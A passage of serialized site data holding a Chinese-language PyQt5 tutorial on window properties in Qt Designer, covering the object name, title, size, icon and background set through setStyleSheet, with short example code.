Designer设计器中通过属性对窗口进行设置，表中列出了PyQt5窗口常用的一些属性及说明。",{"type":18,"tag":19,"props":66942,"children":66944},{"id":66943},"pyqt5窗口的常用属性及说明",[66945],{"type":24,"value":66946},"PyQt5窗口的常用属性及说明",{"type":18,"tag":121,"props":66948,"children":66949},{},[],{"type":18,"tag":431,"props":66951,"children":66952},{},[66953,66974],{"type":18,"tag":435,"props":66954,"children":66955},{},[66956],{"type":18,"tag":439,"props":66957,"children":66958},{},[66959,66967],{"type":18,"tag":443,"props":66960,"children":66961},{"align":3465},[66962],{"type":18,"tag":105,"props":66963,"children":66964},{},[66965],{"type":24,"value":66966},"常 用 属 性",{"type":18,"tag":443,"props":66968,"children":66969},{"align":3465},[66970],{"type":18,"tag":105,"props":66971,"children":66972},{},[66973],{"type":24,"value":41526},{"type":18,"tag":459,"props":66975,"children":66976},{},[66977,66990,67003,67016,67029,67042,67055,67068,67081,67094,67107,67119,67132,67145,67158,67171,67184,67197,67210,67223,67236,67249,67262,67275,67288,67301],{"type":18,"tag":439,"props":66978,"children":66979},{},[66980,66985],{"type":18,"tag":466,"props":66981,"children":66982},{"align":3465},[66983],{"type":24,"value":66984},"objectName",{"type":18,"tag":466,"props":66986,"children":66987},{"align":3465},[66988],{"type":24,"value":66989},"窗口的唯一标识，程序通过该属性调用窗口",{"type":18,"tag":439,"props":66991,"children":66992},{},[66993,66998],{"type":18,"tag":466,"props":66994,"children":66995},{"align":3465},[66996],{"type":24,"value":66997},"geometry",{"type":18,"tag":466,"props":66999,"children":67000},{"align":3465},[67001],{"type":24,"value":67002},"该属性中可以设置窗口的宽度和高度",{"type":18,"tag":439,"props":67004,"children":67005},{},[67006,67011],{"type":18,"tag":466,"props":67007,"children":67008},{"align":3465},[67009],{"type":24,"value":67010},"windowTitle",{"type":18,"tag":466,"props":67012,"children":67013},{"align":3465},[67014],{"type":24,"value":67015},"标题栏文本",{"type":18,"tag":439,"props":67017,"children":67018},{},[67019,67024],{"type":18,"tag":466,"props":67020,"children":67021},{"align":3465},[67022],{"type":24,"value":67023},"windowIcon",{"type":18,"tag":466,"props":67025,"children":67026},{"align":3465},[67027],{"type":24,"value":67028},"窗口的标题栏图标",{"type":18,"tag":439,"props":67030,"children":67031},{},[67032,67037],{"type":18,"tag":466,"props":67033,"children":67034},{"align":3465},[67035],{"type":24,"value":67036},"windowOpacity",{"type":18,"tag":466,"props":67038,"children":67039},{"align":3465},[67040],{"type":24,"value":67041},"窗口的透明度，取值范围为0~1",{"type":18,"tag":439,"props":67043,"children":67044},{},[67045,67050],{"type":18,"tag":466,"props":67046,"children":67047},{"align":3465},[67048],{"type":24,"value":67049},"windowModality",{"type":18,"tag":466,"props":67051,"children":67052},{"align":3465},[67053],{"type":24,"value":67054},"窗口样式，可选值有NonModal、WindowModal和ApplicationModal",{"type":18,"tag":439,"props":67056,"children":67057},{},[67058,67063],{"type":18,"tag":466,"props":67059,"children":67060},{"align":3465},[67061],{"type":24,"value":67062},"enabled",{"type":18,"tag":466,"props":67064,"children":67065},{"align":3465},[67066],{"type":24,"value":67067},"窗口是否可用",{"type":18,"tag":439,"props":67069,"children":67070},{},[67071,67076],{"type":18,"tag":466,"props":67072,"children":67073},{"align":3465},[67074],{"type":24,"value":67075},"mininumSize",{"type":18,"tag":466,"props":67077,"children":67078},{"align":3465},[67079],{"type":24,"value":67080},"窗口最小化时的大小，默认为0×0",{"type":18,"tag":439,"props":67082,"children":67083},{},[67084,67089],{"type":18,"tag":466,"props":67085,"children":67086},{"align":3465},[67087],{"type":24,"value":67088},"maximumSize",{"type":18,"tag":466,"props":67090,"children":67091},{"align":3465},[67092],{"type":24,"value":67093},"窗口最大化时的大小，默认为16777215×16777215",{"type":18,"tag":439,"props":67095,"children":67096},{},[67097,67102],{"type":18,"tag":466,"props":67098,"children":67099},{"align":3465},[67100],{"type":24,"value":67101},"palette",{"type":18,"tag":466,"props":67103,"children":67104},{"align":3465},[67105],{"type":24,"value":67106},"窗口的调色板，可以用来设置窗口的背景",{"type":18,"tag":439,"props":67108,"children":67109},{},[67110,67114],{"type":18,"tag":466,"props":67111,"children":67112},{"align":3465},[67113],{"type":24,"value":2577},{"type":18,"tag":466,"props":67115,"children":67116},{"align":3465},[67117],{"type":24,"value":67118},"设置窗口的字体，包括字体名称、字体大小、是否为粗体、是否为斜体、是否有下划线、是否有删除线等",{"type":18,"tag":439,"props":67120,"children":67121},{},[67122,67127],{"type":18,"tag":466,"props":67123,"children":67124},{"align":3465},[67125],{"type":24,"value":67126},"cursor",{"type":18,"tag":466,"props":67128,"children":67129},{"align":3465},[67130],{"type":24,"value":67131},"窗口的鼠标样式",{"type":18,"tag":439,"props":67133,"children":67134},{},[67135,67140],{"type":18,"tag":466,"props":67136,"children":67137},{"align":3465},[67138],{"type":24,"value":67139},"contextMenuPolicy",{"type":18,"tag":466,"props":67141,"children":67142},{"align":3465},[67143],{"type":24,"value":67144},"窗口的快捷菜单样式",{"type":18,"tag":439,"props":67146,"children":67147},{},[67148,67153],{"type":18,"tag":466,"props":67149,"children":67150},{"align":3465},[67151],{"type":24,"value":67152},"acceptDrops",{"type":18,"tag":466,"props":67154,"children":67155},{"align":3465},[67156],{"type":24,"value":67157},"是否接受拖放操作",{"type":18,"tag":439,"props":67159,"children":67160},{},[67161,67166],{"type":18,"tag":466,"props":67162,"children":67163},{"align":3465},[67164],{"type":24,"value":67165},"toolTip",{"type":18,"tag":466,"props":67167,"children":67168},{"align":3465},[67169],{"type":24,"value":67170},"窗口的提示文本",{"type":18,"tag":439,"props":67172,"children":67173},{},[67174,67179],{"type":18,"tag":466,"props":67175,"children":67176},{"align":3465},[67177],{"type":24,"value":67178},"toolTipDuration",{"type":18,"tag":466,"props":67180,"children":67181},{"align":3465},[67182],{"type":24,"value":67183},"窗口提示文本的显示间隔",{"type":18,"tag":439,"props":67185,"children":67186},{},[67187,67192],{"type":18,"tag":466,"props":67188,"children":67189},{"align":3465},[67190],{"type":24,"value":67191},"statusTip",{"type":18,"tag":466,"props":67193,"children":67194},{"align":3465},[67195],{"type":24,"value":67196},"窗口的状态提示",{"type":18,"tag":439,"props":67198,"children":67199},{},[67200,67205],{"type":18,"tag":466,"props":67201,"children":67202},{"align":3465},[67203],{"type":24,"value":67204},"whatsThis",{"type":18,"tag":466,"props":67206,"children":67207},{"align":3465},[67208],{"type":24,"value":67209},"窗口的“这是什么”提示",{"type":18,"tag":439,"props":67211,"children":67212},{},[67213,67218],{"type":18,"tag":466,"props":67214,"children":67215},{"align":3465},[67216],{"type":24,"value":67217},"layoutDirection",{"type":18,"tag":466,"props":67219,"children":67220},{"align":3465},[67221],{"type":24,"value":67222},"窗口的布局方式，可选值有LeftToRight、RightToLeft和LayoutDirectionAuto",{"type":18,"tag":439,"props":67224,"children":67225},{},[67226,67231],{"type":18,"tag":466,"props":67227,"children":67228},{"align":3465},[67229],{"type":24,"value":67230},"autoFillBackground",{"type":18,"tag":466,"props":67232,"children":67233},{"align":3465},[67234],{"type":24,"value":67235},"是否自动填充背景",{"type":18,"tag":439,"props":67237,"children":67238},{},[67239,67244],{"type":18,"tag":466,"props":67240,"children":67241},{"align":3465},[67242],{"type":24,"value":67243},"styleSheet",{"type":18,"tag":466,"props":67245,"children":67246},{"align":3465},[67247],{"type":24,"value":67248},"设置窗口样式，可以用来设置窗口的背景",{"type":18,"tag":439,"props":67250,"children":67251},{},[67252,67257],{"type":18,"tag":466,"props":67253,"children":67254},{"align":3465},[67255],{"type":24,"value":67256},"locale",{"type":18,"tag":466,"props":67258,"children":67259},{"align":3465},[67260],{"type":24,"value":67261},"窗口的国际化设置",{"type":18,"tag":439,"props":67263,"children":67264},{},[67265,67270],{"type":18,"tag":466,"props":67266,"children":67267},{"align":3465},[67268],{"type":24,"value":67269},"iconSize",{"type":18,"tag":466,"props":67271,"children":67272},{"align":3465},[67273],{"type":24,"value":67274},"窗口标题栏图标的大小",{"type":18,"tag":439,"props":67276,"children":67277},{},[67278,67283],{"type":18,"tag":466,"props":67279,"children":67280},{"align":3465},[67281],{"type":24,"value":67282},"toolButtonStyle",{"type":18,"tag":466,"props":67284,"children":67285},{"align":3465},[67286],{"type":24,"value":67287},"窗口中的工具栏样式，默认值为ToolButtonIconOnly，表示默认工具栏中只显示图标，用户可以更改为只显示文本，或者同时显示文本和图标",{"type":18,"tag":439,"props":67289,"children":67290},{},[67291,67296],{"type":18,"tag":466,"props":67292,"children":67293},{"align":3465},[67294],{"type":24,"value":67295},"dockOptions",{"type":18,"tag":466,"props":67297,"children":67298},{"align":3465},[67299],{"type":24,"value":67300},"停靠选项",{"type":18,"tag":439,"props":67302,"children":67303},{},[67304,67309],{"type":18,"tag":466,"props":67305,"children":67306},{"align":3465},[67307],{"type":24,"value":67308},"unifiedTitleAndToolBarOnMac",{"type":18,"tag":466,"props":67310,"children":67311},{"align":3465},[67312],{"type":24,"value":67313},"在Mac OS系统中是否可以定义标题和工具栏",{"type":18,"tag":19,"props":67315,"children":67317},{"id":67316},"_1基本属性设置",[67318],{"type":24,"value":67319},"1  基本属性设置",{"type":18,"tag":121,"props":67321,"children":67322},{},[],{"type":18,"tag":34,"props":67324,"children":67325},{},[67326,67328,67334],{"type":24,"value":67327},"窗口包含一些基本的组成要素，包括对象名称、图标、标题、位置和背景等，这些要素可以通过窗口中的",{"type":18,"tag":74,"props":67329,"children":67331},{"className":67330},[],[67332],{"type":24,"value":67333},"属性编辑器",{"type":24,"value":67335},"窗口进行设置，也可以通过代码来实现。下面详细介绍窗口的常见属性设置。",{"type":18,"tag":337,"props":67337,"children":67339},{"id":67338},"_1设置窗口的对象名称",[67340],{"type":24,"value":67341},"1）设置窗口的对象名称",{"type":18,"tag":34,"props":67343,"children":67344},{},[67345,67347,67352,67354,67359,67361,67366,67368,67373],{"type":24,"value":67346},"窗口的对象名称，相当于窗口的标识，是唯一的，在编写代码时，对窗口的任何设置和使用都是通过该名称进行操作的。在Qt Designer设计器中，",{"type":18,"tag":105,"props":67348,"children":67349},{},[67350],{"type":24,"value":67351},"窗口的对象名称",{"type":24,"value":67353},"是通过",{"type":18,"tag":74,"props":67355,"children":67357},{"className":67356},[],[67358],{"type":24,"value":67333},{"type":24,"value":67360},"中的",{"type":18,"tag":74,"props":67362,"children":67364},{"className":67363},[],[67365],{"type":24,"value":66984},{"type":24,"value":67367},"属性进行设置的，默认名称为",{"type":18,"tag":74,"props":67369,"children":67371},{"className":67370},[],[67372],{"type":24,"value":54053},{"type":24,"value":67374},"，如图所示，用户可以根据实际情况进行更改，但要保证在当前窗口中是唯一的。",{"type":18,"tag":34,"props":67376,"children":67377},{},[67378],{"type":18,"tag":54,"props":67379,"children":67382},{"alt":67380,"src":67381},"Pasted image 20250827102315","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827102315.png",[],{"type":18,"tag":34,"props":67384,"children":67385},{},[67386,67388,67393,67395,67401],{"type":24,"value":67387},"除了可以在Qt Designer设计器的",{"type":18,"tag":74,"props":67389,"children":67391},{"className":67390},[],[67392],{"type":24,"value":67333},{"type":24,"value":67394},"中对其进行修改之外，还可以通过Python代码进行设置，设置时需要使用",{"type":18,"tag":74,"props":67396,"children":67398},{"className":67397},[],[67399],{"type":24,"value":67400},"setObjectName()函数",{"type":24,"value":67402},"，使用方法如下：",{"type":18,"tag":287,"props":67404,"children":67406},{"code":67405,"language":28712,"meta":8,"className":28710,"style":8},"MainWindow.setObjectName(\"MainWindow\")\n",[67407],{"type":18,"tag":74,"props":67408,"children":67409},{"__ignoreMap":8},[67410],{"type":18,"tag":297,"props":67411,"children":67412},{"class":299,"line":300},[67413],{"type":18,"tag":297,"props":67414,"children":67415},{},[67416],{"type":24,"value":67405},{"type":18,"tag":337,"props":67418,"children":67420},{"id":67419},"_2设置窗口的标题栏名称",[67421],{"type":24,"value":67422},"2）设置窗口的标题栏名称",{"type":18,"tag":34,"props":67424,"children":67425},{},[67426,67428,67433,67434,67439,67441,67446],{"type":24,"value":67427},"在窗口的属性中，通过",{"type":18,"tag":74,"props":67429,"children":67431},{"className":67430},[],[67432],{"type":24,"value":67010},{"type":24,"value":12135},{"type":18,"tag":105,"props":67435,"children":67436},{},[67437],{"type":24,"value":67438},"设置窗口的标题栏名称",{"type":24,"value":67440},"，标题栏名称就是显示在窗口标题上的文本，",{"type":18,"tag":74,"props":67442,"children":67444},{"className":67443},[],[67445],{"type":24,"value":67010},{"type":24,"value":67447},"属性设置及窗口标题栏的预览效果分别如下图所示。",{"type":18,"tag":34,"props":67449,"children":67450},{},[67451],{"type":18,"tag":54,"props":67452,"children":67455},{"alt":67453,"src":67454},"Pasted image 20250827102651","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827102651.png",[],{"type":18,"tag":34,"props":67457,"children":67458},{},[67459],{"type":18,"tag":54,"props":67460,"children":67463},{"alt":67461,"src":67462},"Pasted image 20250827102751","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827102751.png",[],{"type":18,"tag":34,"props":67465,"children":67466},{},[67467,67469,67475],{"type":24,"value":67468},"在Python中使用",{"type":18,"tag":74,"props":67470,"children":67472},{"className":67471},[],[67473],{"type":24,"value":67474},"setWindowTitle()函数",{"type":24,"value":67476},"也可以设置窗口标题栏，代码如下：",{"type":18,"tag":287,"props":67478,"children":67480},{"code":67479,"language":28712,"meta":8,"className":28710,"style":8},"MainWindow.setWindowTitle(_translate(\"MainWindow\",\"标题栏\"))\n",[67481],{"type":18,"tag":74,"props":67482,"children":67483},{"__ignoreMap":8},[67484],{"type":18,"tag":297,"props":67485,"children":67486},{"class":299,"line":300},[67487],{"type":18,"tag":297,"props":67488,"children":67489},{},[67490],{"type":24,"value":67479},{"type":18,"tag":337,"props":67492,"children":67494},{"id":67493},"_3修改窗口的大小",[67495],{"type":24,"value":67496},"3）修改窗口的大小",{"type":18,"tag":34,"props":67498,"children":67499},{},[67500,67502,67507,67509,67514],{"type":24,"value":67501},"在窗口的属性中，通过展开",{"type":18,"tag":74,"props":67503,"children":67505},{"className":67504},[],[67506],{"type":24,"value":66997},{"type":24,"value":67508},"属性，可以",{"type":18,"tag":105,"props":67510,"children":67511},{},[67512],{"type":24,"value":67513},"设置窗口的大小",{"type":24,"value":67515},"。修改窗口的大小，只需更改宽度和高度的值即可，如图所示。",{"type":18,"tag":34,"props":67517,"children":67518},{},[67519],{"type":18,"tag":54,"props":67520,"children":67523},{"alt":67521,"src":67522},"Pasted image 20250827102955","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827102955.png",[],{"type":18,"tag":96,"props":67525,"children":67526},{},[67527],{"type":18,"tag":34,"props":67528,"children":67529},{},[67530,67534],{"type":18,"tag":105,"props":67531,"children":67532},{},[67533],{"type":24,"value":33435},{"type":24,"value":67535}," 说明\n在设置窗口的大小时，其值只能是整数，不能是小数。",{"type":18,"tag":34,"props":67537,"children":67538},{},[67539,67540,67546],{"type":24,"value":67468},{"type":18,"tag":74,"props":67541,"children":67543},{"className":67542},[],[67544],{"type":24,"value":67545},"resize()函数",{"type":24,"value":67547},"也可以设置窗口的大小，代码如下：",{"type":18,"tag":287,"props":67549,"children":67551},{"code":67550,"language":28712,"meta":8,"className":28710,"style":8},"MainWindow.resize(252, 100)\n",[67552],{"type":18,"tag":74,"props":67553,"children":67554},{"__ignoreMap":8},[67555],{"type":18,"tag":297,"props":67556,"children":67557},{"class":299,"line":300},[67558],{"type":18,"tag":297,"props":67559,"children":67560},{},[67561],{"type":24,"value":67550},{"type":18,"tag":96,"props":67563,"children":67564},{},[67565,67617],{"type":18,"tag":34,"props":67566,"children":67567},{},[67568,67572,67574,67579,67581,67587,67589,67595,67596,67602,67603,67608,67610,67615],{"type":18,"tag":105,"props":67569,"children":67570},{},[67571],{"type":24,"value":44648},{"type":24,"value":67573}," 多学两招\nPyQt5窗口运行时，",{"type":18,"tag":105,"props":67575,"children":67576},{},[67577],{"type":24,"value":67578},"默认居中显示",{"type":24,"value":67580},"在屏幕中，如果想自定义PyQt5窗口的显示位置，可以根据窗口大小和屏幕大小来进行设置。其中，窗口的大小使用",{"type":18,"tag":74,"props":67582,"children":67584},{"className":67583},[],[67585],{"type":24,"value":67586},"geometry()方法",{"type":24,"value":67588},"即可获取，而获取屏幕大小可以使用",{"type":18,"tag":74,"props":67590,"children":67592},{"className":67591},[],[67593],{"type":24,"value":67594},"QDesktopWidget",{"type":24,"value":43912},{"type":18,"tag":74,"props":67597,"children":67599},{"className":67598},[],[67600],{"type":24,"value":67601},"screenGeometry()方法",{"type":24,"value":43988},{"type":18,"tag":74,"props":67604,"children":67606},{"className":67605},[],[67607],{"type":24,"value":67594},{"type":24,"value":67609},"类是PyQt5中提供的一个与屏幕相关的类，其",{"type":18,"tag":74,"props":67611,"children":67613},{"className":67612},[],[67614],{"type":24,"value":67601},{"type":24,"value":67616},"用来获取屏幕的大小。例如，下面代码用来获取当前屏幕的大小（包括宽度和高度）：",{"type":18,"tag":287,"props":67618,"children":67620},{"code":67619,"language":28712,"meta":8,"className":28710,"style":8},"from PyQt5.QtWidgets import QDesktopWidget  # 导入屏幕类  \nscreen=QDesktopWidget().screenGeometry()    # 获取屏幕大小  \nwidth=screen.width()                        # 获取屏幕的宽  \nheight=screen.height()                      # 获取屏幕的高\n",[67621],{"type":18,"tag":74,"props":67622,"children":67623},{"__ignoreMap":8},[67624,67632,67640,67648],{"type":18,"tag":297,"props":67625,"children":67626},{"class":299,"line":300},[67627],{"type":18,"tag":297,"props":67628,"children":67629},{},[67630],{"type":24,"value":67631},"from PyQt5.QtWidgets import QDesktopWidget  # 导入屏幕类  \n",{"type":18,"tag":297,"props":67633,"children":67634},{"class":299,"line":657},[67635],{"type":18,"tag":297,"props":67636,"children":67637},{},[67638],{"type":24,"value":67639},"screen=QDesktopWidget().screenGeometry()    # 获取屏幕大小  \n",{"type":18,"tag":297,"props":67641,"children":67642},{"class":299,"line":662},[67643],{"type":18,"tag":297,"props":67644,"children":67645},{},[67646],{"type":24,"value":67647},"width=screen.width()                        # 获取屏幕的宽  \n",{"type":18,"tag":297,"props":67649,"children":67650},{"class":299,"line":799},[67651],{"type":18,"tag":297,"props":67652,"children":67653},{},[67654],{"type":24,"value":67655},"height=screen.height()                      # 获取屏幕的高\n",{"type":18,"tag":19,"props":67657,"children":67659},{"id":67658},"_2更换窗口的图标",[67660],{"type":24,"value":67661},"2  更换窗口的图标",{"type":18,"tag":121,"props":67663,"children":67664},{},[],{"type":18,"tag":34,"props":67666,"children":67667},{},[67668,67670,67675,67677,67682],{"type":24,"value":67669},"添加一个新的窗口后，窗口的图标是系统默认的QT图标。如果想更换窗口的图标，可以在",{"type":18,"tag":74,"props":67671,"children":67673},{"className":67672},[],[67674],{"type":24,"value":67333},{"type":24,"value":67676},"中设置窗口的",{"type":18,"tag":74,"props":67678,"children":67680},{"className":67679},[],[67681],{"type":24,"value":67023},{"type":24,"value":67683},"属性，窗口的系统默认图标和更换后的新图标如图所示。",{"type":18,"tag":34,"props":67685,"children":67686},{},[67687],{"type":18,"tag":54,"props":67688,"children":67691},{"alt":67689,"src":67690},"Pasted image 20250827104048","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827104048.png",[],{"type":18,"tag":34,"props":67693,"children":67694},{},[67695],{"type":24,"value":67696},"更换窗口图标的过程非常简单，具体操作如下：",{"type":18,"tag":34,"props":67698,"children":67699},{},[67700,67702,67707,67709,67714],{"type":24,"value":67701},"1）选中窗口，然后在",{"type":18,"tag":74,"props":67703,"children":67705},{"className":67704},[],[67706],{"type":24,"value":67333},{"type":24,"value":67708},"中选中",{"type":18,"tag":74,"props":67710,"children":67712},{"className":67711},[],[67713],{"type":24,"value":67023},{"type":24,"value":67715},"属性，这时会出现下拉按钮，如图所示。",{"type":18,"tag":34,"props":67717,"children":67718},{},[67719],{"type":18,"tag":54,"props":67720,"children":67723},{"alt":67721,"src":67722},"Pasted image 20250827103738","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827103738.png",[],{"type":18,"tag":34,"props":67725,"children":67726},{},[67727,67729,67735],{"type":24,"value":67728},"2）单击下拉按钮，在下拉列表中选择",{"type":18,"tag":74,"props":67730,"children":67732},{"className":67731},[],[67733],{"type":24,"value":67734},"选择文件",{"type":24,"value":67736},"菜单项，如图所示。",{"type":18,"tag":34,"props":67738,"children":67739},{},[67740],{"type":18,"tag":54,"props":67741,"children":67744},{"alt":67742,"src":67743},"Pasted image 20250827103828","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827103828.png",[],{"type":18,"tag":34,"props":67746,"children":67747},{},[67748,67750,67756,67758,67763],{"type":24,"value":67749},"3）弹出",{"type":18,"tag":74,"props":67751,"children":67753},{"className":67752},[],[67754],{"type":24,"value":67755},"选择一个像素映射",{"type":24,"value":67757},"对话框，该对话框中选择新的图标文件，单击",{"type":18,"tag":74,"props":67759,"children":67761},{"className":67760},[],[67762],{"type":24,"value":60645},{"type":24,"value":67764},"按钮，即可将选择的图标文件作为窗口的图标，如图所示。",{"type":18,"tag":34,"props":67766,"children":67767},{},[67768],{"type":18,"tag":54,"props":67769,"children":67772},{"alt":67770,"src":67771},"Pasted image 20250827103942","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827103942.png",[],{"type":18,"tag":34,"props":67774,"children":67775},{},[67776],{"type":24,"value":67777},"通过上面的方式修改窗口图标后对应的Python代码如下：",{"type":18,"tag":287,"props":67779,"children":67781},{"code":67780,"language":28712,"meta":8,"className":28710,"style":8},"icon = QtGui.QIcon()  \nicon.addPixmap(QtGui.QPixmap(r\"D:\\CodeFile\\Python_Code\\PyQt5\\UI\\Couioly头像.jpg\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)  \nMainWindow.setWindowIcon(icon)\n",[67782],{"type":18,"tag":74,"props":67783,"children":67784},{"__ignoreMap":8},[67785,67793,67801],{"type":18,"tag":297,"props":67786,"children":67787},{"class":299,"line":300},[67788],{"type":18,"tag":297,"props":67789,"children":67790},{},[67791],{"type":24,"value":67792},"icon = QtGui.QIcon()  \n",{"type":18,"tag":297,"props":67794,"children":67795},{"class":299,"line":657},[67796],{"type":18,"tag":297,"props":67797,"children":67798},{},[67799],{"type":24,"value":67800},"icon.addPixmap(QtGui.QPixmap(r\"D:\\CodeFile\\Python_Code\\PyQt5\\UI\\Couioly头像.jpg\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)  \n",{"type":18,"tag":297,"props":67802,"children":67803},{"class":299,"line":662},[67804],{"type":18,"tag":297,"props":67805,"children":67806},{},[67807],{"type":24,"value":67808},"MainWindow.setWindowIcon(icon)\n",{"type":18,"tag":96,"props":67810,"children":67811},{},[67812],{"type":18,"tag":34,"props":67813,"children":67814},{},[67815,67819],{"type":18,"tag":105,"props":67816,"children":67817},{},[67818],{"type":24,"value":44648},{"type":24,"value":67820}," 多学两招\n通过上面的代码可以看出，在使用选择图标文件的方式设置窗口图标时，使用的是图标的绝对路径，这样做的缺点是，如果其他用户在使用你的程序时，没有上面的路径，就会无法正常显示图标，那么如何解决该问题呢？可以将要使用的图标文件复制到项目的目录下，如图所示。",{"type":18,"tag":34,"props":67822,"children":67823},{},[67824],{"type":18,"tag":54,"props":67825,"children":67828},{"alt":67826,"src":67827},"Pasted image 20250827104434","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827104434.png",[],{"type":18,"tag":34,"props":67830,"children":67831},{},[67832],{"type":24,"value":67833},"这时就可以直接通过图标文件名进行使用，上面的代码可以更改为如下：",{"type":18,"tag":287,"props":67835,"children":67837},{"code":67836,"language":28712,"meta":8,"className":28710,"style":8},"icon = QtGui.QIcon()    \nicon.addPixmap(QtGui.QPixmap(\"Couioly头像.jpg\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)    \nMainWindow.setWindowIcon(icon)\n",[67838],{"type":18,"tag":74,"props":67839,"children":67840},{"__ignoreMap":8},[67841,67849,67857],{"type":18,"tag":297,"props":67842,"children":67843},{"class":299,"line":300},[67844],{"type":18,"tag":297,"props":67845,"children":67846},{},[67847],{"type":24,"value":67848},"icon = QtGui.QIcon()    \n",{"type":18,"tag":297,"props":67850,"children":67851},{"class":299,"line":657},[67852],{"type":18,"tag":297,"props":67853,"children":67854},{},[67855],{"type":24,"value":67856},"icon.addPixmap(QtGui.QPixmap(\"Couioly头像.jpg\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)    \n",{"type":18,"tag":297,"props":67858,"children":67859},{"class":299,"line":662},[67860],{"type":18,"tag":297,"props":67861,"children":67862},{},[67863],{"type":24,"value":67808},{"type":18,"tag":19,"props":67865,"children":67867},{"id":67866},"_3设置窗口的背景",[67868],{"type":24,"value":67869},"3  设置窗口的背景",{"type":18,"tag":121,"props":67871,"children":67872},{},[],{"type":18,"tag":34,"props":67874,"children":67875},{},[67876],{"type":24,"value":67877},"为了使窗口设计更加得美观，通常会设置窗口的背景样式，在PyQt5中设置窗口的背景有3种常用的方法，下面分别介绍。",{"type":18,"tag":337,"props":67879,"children":67881},{"id":67880},"_1使用setstylesheet函数设置窗口背景",[67882,67883,67889],{"type":24,"value":43304},{"type":18,"tag":74,"props":67884,"children":67886},{"className":67885},[],[67887],{"type":24,"value":67888},"setStyleSheet()函数",{"type":24,"value":67890},"设置窗口背景",{"type":18,"tag":34,"props":67892,"children":67893},{},[67894,67896,67901,67903,67909,67910,67916,67918,67923,67925,67930],{"type":24,"value":67895},"在使用",{"type":18,"tag":74,"props":67897,"children":67899},{"className":67898},[],[67900],{"type":24,"value":67888},{"type":24,"value":67902},"设置窗口背景时，需要以",{"type":18,"tag":74,"props":67904,"children":67906},{"className":67905},[],[67907],{"type":24,"value":67908},"background-color",{"type":24,"value":52088},{"type":18,"tag":74,"props":67911,"children":67913},{"className":67912},[],[67914],{"type":24,"value":67915},"border-image",{"type":24,"value":67917},"的方式来进行设置，其中",{"type":18,"tag":74,"props":67919,"children":67921},{"className":67920},[],[67922],{"type":24,"value":67908},{"type":24,"value":67924},"可以设置窗口的背景颜色；而",{"type":18,"tag":74,"props":67926,"children":67928},{"className":67927},[],[67929],{"type":24,"value":67915},{"type":24,"value":67931},"可以设置窗口的背景图片。",{"type":18,"tag":34,"props":67933,"children":67934},{},[67935,67936,67941,67943,67948],{"type":24,"value":35582},{"type":18,"tag":74,"props":67937,"children":67939},{"className":67938},[],[67940],{"type":24,"value":67888},{"type":24,"value":67942},"设",{"type":18,"tag":105,"props":67944,"children":67945},{},[67946],{"type":24,"value":67947},"置窗口背景颜色",{"type":24,"value":67949},"的代码如下：",{"type":18,"tag":287,"props":67951,"children":67953},{"code":67952,"language":28712,"meta":8,"className":28710,"style":8},"MainWindow.setStyleSheet(\"#MainWindow{background-color:red}\")\n",[67954],{"type":18,"tag":74,"props":67955,"children":67956},{"__ignoreMap":8},[67957],{"type":18,"tag":297,"props":67958,"children":67959},{"class":299,"line":300},[67960],{"type":18,"tag":297,"props":67961,"children":67962},{},[67963],{"type":24,"value":67952},{"type":18,"tag":34,"props":67965,"children":67966},{},[67967],{"type":24,"value":53909},{"type":18,"tag":34,"props":67969,"children":67970},{},[67971],{"type":18,"tag":54,"props":67972,"children":67975},{"alt":67973,"src":67974},"Pasted image 20250827104838","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827104838.png",[],{"type":18,"tag":96,"props":67977,"children":67978},{},[67979],{"type":18,"tag":34,"props":67980,"children":67981},{},[67982,67986,67988,67993,67995,68000,68002,68007,68009,68015,68016,68022],{"type":18,"tag":105,"props":67983,"children":67984},{},[67985],{"type":24,"value":33435},{"type":24,"value":67987}," 说明\n在使用",{"type":18,"tag":74,"props":67989,"children":67991},{"className":67990},[],[67992],{"type":24,"value":67888},{"type":24,"value":67994},"设置窗口背景色之后，窗口中的",{"type":18,"tag":105,"props":67996,"children":67997},{},[67998],{"type":24,"value":67999},"控件会继承窗口的背景色",{"type":24,"value":68001},"，如果想要",{"type":18,"tag":105,"props":68003,"children":68004},{},[68005],{"type":24,"value":68006},"为控件设置背景图片或者图标",{"type":24,"value":68008},"，需要使用",{"type":18,"tag":74,"props":68010,"children":68012},{"className":68011},[],[68013],{"type":24,"value":68014},"setPixmap()",{"type":24,"value":52088},{"type":18,"tag":74,"props":68017,"children":68019},{"className":68018},[],[68020],{"type":24,"value":68021},"setIcon()函数",{"type":24,"value":68023},"来完成。",{"type":18,"tag":34,"props":68025,"children":68026},{},[68027,68028,68033,68038,68040,68045,68046,68051,68052,68057],{"type":24,"value":67895},{"type":18,"tag":74,"props":68029,"children":68031},{"className":68030},[],[68032],{"type":24,"value":67888},{"type":18,"tag":105,"props":68034,"children":68035},{},[68036],{"type":24,"value":68037},"设置窗口背景图片",{"type":24,"value":68039},"时，首先需要包括要作为背景的图片文件，因为代码中需要用到图片的路径，这里",{"type":18,"tag":105,"props":68041,"children":68042},{},[68043],{"type":24,"value":68044},"将图片文件放在",{"type":24,"value":45664},{"type":18,"tag":74,"props":68047,"children":68049},{"className":68048},[],[68050],{"type":24,"value":42560},{"type":24,"value":5036},{"type":18,"tag":105,"props":68053,"children":68054},{},[68055],{"type":24,"value":68056},"同一目录层级下的images文件夹中",{"type":24,"value":68058},"，位置存放位置如图所示。",{"type":18,"tag":34,"props":68060,"children":68061},{},[68062],{"type":18,"tag":54,"props":68063,"children":68066},{"alt":68064,"src":68065},"Pasted image 